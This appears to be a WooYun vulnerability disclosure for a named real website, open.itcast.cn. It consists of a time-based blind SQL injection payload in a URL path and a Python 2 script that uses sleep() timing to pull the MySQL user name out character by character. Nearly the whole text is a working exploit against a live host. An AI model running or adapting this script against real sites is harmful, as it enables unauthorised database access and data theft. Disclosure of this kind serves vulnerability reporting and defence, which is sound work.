WooYun.org

http://open.itcast.cn/network/label/1-if(now()=sysdate(),sleep(if(length(user())=28,2,0)),0)-45.html

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 29):
    for payload in payloads:
        try:
            s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
            s = "(if(%s,sleep(1),0))" % s
            conn = httplib.HTTPConnection('open.itcast.cn', timeout=2)
            conn.request(method='GET',url="/network/label/1-%s-45.html" % urllib.quote(s))
            conn.getresponse()
            conn.close()
            print '.',
        except:
            user += payload
            print '\n[in progress]', user,
            time.sleep(3.0)
            break
        
print '\n[Done] MySQL user is %s' % user